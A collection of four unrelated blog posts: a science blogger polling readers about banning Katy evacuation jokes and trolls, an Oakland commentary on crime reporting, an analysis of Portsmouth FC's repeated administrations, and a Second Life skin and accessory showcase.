1. Katy Jokes: Few things raise more discussion on the blog than "Should Katy evacuate" jokes. Opinions vary, but in my view this "joke" dates to wildly popular live chats I conducted during the run-up to Hurricane Ike in September, 2008, when an inordinate number of people asked whether Katy residents should evacuate from the storm. The irony is that Katy is just about the safest place in Harris County to be during a hurricane.
Anyway, it's become a meme, and Katy "jokes" are often made in weather- and hurricane-related posts. Some people find new variants on the joke funny. Some find it annoying. I think there are more of the former than the latter. Nevertheless I continue to hear from people who are turned off by the constant references. As a result I am leaning toward banning all generic "Should Katy evacuate?" comments. I may still allow really clever variants into the comments. Anyway before I make a final decision I want to hear from readers.
2. Linkposts: During the day and each morning when I get up to write blog entries I come across a lot of really interesting stuff. Would a daily, morning-based post linking to five to 10 interesting science stories be of use to readers? I share a lot of this stuff on Twitter already (via @chronsciguy) but this would be a more formal culling of the best stuff in one place.
3. Trolls: I've been pretty lenient on trolling heretofore because I am against censorship. But it's gotten to the point in some instances that a single comment here or there can sidetrack what had been a meaningful dialogue in the comments. I plan to be more strict with trolls in the future to preserve the value in comments for readers.
As you can see above my primary goal is to continue to build this into a site where meaningful conversation occurs. Very often you will learn a lot more by reading the comments after a blog entry than from the entry itself. I think that's great.
Please comment on any of the above, or if you have questions or comments related to the blog, please note them below. I'll respond.


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Whatever you think of her decision, it is hard not to sympathize with Gluss. In what seems like a matter of months (she doesn't quite say), her car was broken into twice, her home once, and her wallet stolen. But it is also hard not to notice how dumb she seems. Her wallet was taken out of her purse right in front of her at a local club. She apparently left her doors unlocked at home to allow a thief in without her knowing until she opened her (empty) jewelry box. Finally, her car was broken into after she left her purse inside in plain sight. A dweller of any urban area will tell you that these are all things you just don't do, whether you live in Cambridge, San Francisco, Oakland, or Kalamazoo. Or even Greenbrae.
In a discussion on the open thread at A Better Oakland, Navigator begins by blaming the SF Chronicle for its anti-Oakland bias, Max Allstadt thinks the problem is the "it bleeds it leads" media mentality, while V Smoothe sympathizes with those who leave Oakland and sees these essays as admonishing the city to get its act together. I think all three of these views have merit, so I'd like to unpack them a bit. Overall, I think V Smoothe is right. The media focus on crime is on balance good for the city, by highlighting real problems it has. Crime in Oakland is higher than other places; it does us no good to look the other way or keep quiet about it.
But the points Max and Navigator make also have validity. The most interesting analysis of crime coverage in Oakland I've heard was a couple years ago by a spokesperson for Forest City Development discussing their Uptown project. She pointed out that when you hear about crime in Oakland, it happens in Oakland. Whereas when you here about crime in San Francisco, it is typically attributed to a specific neighborhood, usually Bayview-Hunter's Point or maybe the Tenderloin. Max makes a similar point in that the reputation of all of Oakland is bad, while those of us who live here know better - there are both good and bad places, but most fall somewhere inbetween.
I don't think this is so much a conspiracy as a function of distance, from which you always see less detail. It would be nice if the SF Chronicle and other news media reported crime in Oakland by neighborhood, but the reality is that a huge majority of people have no idea where Temescal or Dimond is, which is why at best you see Oakland organized into the three broad neighborhoods (which I hate) of North, East, and West. So Navigator is right to recognize the Bay Area media bias against Oakland, but wrong on its origins and thus, on solutions. The solution to this particular media bias is to practice and insist upon greater specificity, which is a good habit to be in anyways.
Certainly this is an uphill climb. I mentioned the cover of the Insight section, which featured the words "Crime and Exodus." Exodus, as commonly defined, involves a mass movement of people from an area. The whole Insight section references just two people, Susan Gluss and Marcus Alvarez, whom Chip Johnson mentions. Two people does not an exodus make. To argue the existence of an exodus from Oakland due to crime, in addition to the helpful but ultimately inadequate anecdotes, the SF Chronicle should offer statistics. Most major cities in the U.S. are holding or even slightly increasing their population, nearly everyone interested in cities knows this. And in approximately 75 seconds of research, I found out that according to the U.S. Census bureau, Oakland actually gained about 2,000 residents between the last official census in 2000 and its estimate for 2007 - hardly an exodus. This is what true lovers of Oakland are up against.
Which brings me to what I think is the best response I've seen to the Gluss essay. It was a letter to the editor that appeared in the SF Chronicle on Tuesday (you'll need to scroll down to the bottom to see it) written by Lori Fogarty, the director of the Oakland Museum of California. Fogarty points out that Gluss didn't seem to love Oakland enough to get involved and improve it, which "is required of citizens in any urban city." And that is the message we should take away from the media's frustratingly vague reporting of crime in Oakland. Big, diverse, vibrant cities like Oakland offer many things other places cannot, but they require something of their residents in return. As Fogarty encapsulates in the last line of her letter, Oakland is "a long way from Greenbrae, in more ways than the commute."


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Portsmouth's return to Administration today (1) for the second time in a smidgen under two years speaks volumes, especially coming in the week that Rangers, a rather more iconic club, suffered the ignominy of Administration too (2). High profile those these events are, the phenomenon of financial problems is not confined to te top clubs. This season so far we have also seen Darlington go into Administration, as have Rothwell Town way down the pyramid. Prescot Cables have returned to amateur status mid-season, and poor Croydon Athletic have disappeared, at least for the moment. (A full listing of English football clubs' insolvency events in the modern era is available here; a warning, it does not make pleasant reading)
It would be easy to dismiss the case of Portsmouth as a special case (especially bad, that is). The 'club as company' has a long and shameful tradition. It was formed in 1898 to replace the previous club, Royal Artillery, who were disbanded because of that delightful euphemism 'financial irregularities' – payments to players which were blatantly undermining their supposed amateur status. Funny how history can return to haunt you.
By 1912 the owners were already in deep financial trouble, and the company was voluntarily wound up and promptly reformed, thus wiping out its debts (3), a procedure which is no longer legal, but was far from rare in those days. The mind boggles at how football clubs today would behave if it were still a legal option like this open to them. To use a 'Partridgeism', the club 'bounced back', entering the Football League in 1920, winning the FA Cup in 1939, and the old First Division title in 1949 and 1950.
The road was only downhill after that, obviously excepting the recent relatively spell in the Premier League and FA Cup win. Sporting decline was followed by financial decline. A series of owner/benefactors who failed in various degrees is a familiar mantra to Pompey fans – since 1973 the list reads John Deacon, Jim Gregory, Terry Venables, Martin Gregory, Milan Mandric, Sacha Gaydamak, Sulaiman Al Fahim, Ali Al Faraj, Balram Chainrai, and Vladimir Antonov. Whatever criticisms can be made about them individually, the lack of any continuity has hardly been good for the club. And there will doubtless be further criticism to come as the unravelling enquiries of both this period of Administration, and the previous one, tease more and more uncomfortable detail out of the wood work.
Of the 200+ files I have on English football clubs, Portsmouth's is the biggest. It would be convenient to say that this is because I am Pompey fan. That would not though be honest. It's because they have a spectacularly aberrant history of ownership and mismanagement. 'Spectacularly aberrant' from normal business, that is. Merely 'worse than most' with respect to other football clubs.
The themes which have dogged Portsmouth occur throughout my files, and all over this blog:
- Owners who did not have deep enough pockets, and yet push clubs further into unsustainable financial positions
- Owners unlikely to win 'Ethical Businessman of the Year' competitions
- Owners who have clearly not read the dictum of Mr Micawber in David Copperfield (Charles Dickens was born in Portsmouth, so the reference is particularly appropriate)
- Repeated failure to pay HMRC on time
Portsmouth's latest 'misadventure' should provide a wake-up call. But then so so should their one two years ago. Will the governing bodies just hit 'snooze' again? I like to think not, but, would you believe it, I'm not optimistic.
I can't argue that the imposition of the Financial Fair Play protocol, or effective club licensing ,or an effective Fit and Proper Person Test would necessarily have avoided Pompey's current discomfort. Without them though, another round of insolvency events is inevitable. It doesn't have to be that way and nor should it be.
Surely the football world must finally wake up to sorting out, as its highest priority, its financial messes, by attacking the causes rather than the symptoms rather than stressing over the number of English clubs left in European competition or who the next England manager should be.


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My Uglydorothy released a new skin line today, her name is Megan. She comes in 8 tones with an array of mix and match makeup and brow options. It seems like forever since Sopha released a new skin line and I'm impressed as usual. If you love red lips you'll easily be able to find the perfect red to suit your mood. I also wanted to mention that The Skinnery released these cute lil mesh ears that come complete with a hud to match all of her skin tones. If you prefer wearing them with a different skin, you are able to mod them to match. I haven't had new ears in a while and I have a feeling I'll be using these a lot! Please keep reading below for more info on Megan's options. Have a great Saturday night! ❤
Skin: My Uglydorothy – Megan w/Eyebrow1, Blush1, Queen Eye3, Queen Lip1 Tone 2 (NEW)
Ears: The Skinnery -Puki Mesh Ears (NEW)
Hair: Truth – Dove Variety Pack (NEW)
Headband: LODE – Bright Lights Blue (Chapter Four)
Ring: Olive – The Scout's Tiara Ring Mercury
Nail Hud Add on: Flair – Set 180 Red
Hands: Slink Elegant w/My Uglydorothy Appliers
Pose: Imeka – Rose 7 (NEW @ Kustom9)
Below are all the makeups using brow option 2 and 3 in tone 2. Starting from row 1 there's 3 packs of makeups. Cool tones, queen and holiday, All of which are tattoo layers. You simply wear the base tone and all options are on tattoo layers. Teeth/no teeth are an option for each lip. I'm using brow option 1 in my first photo. For a larger view, click on the photo below.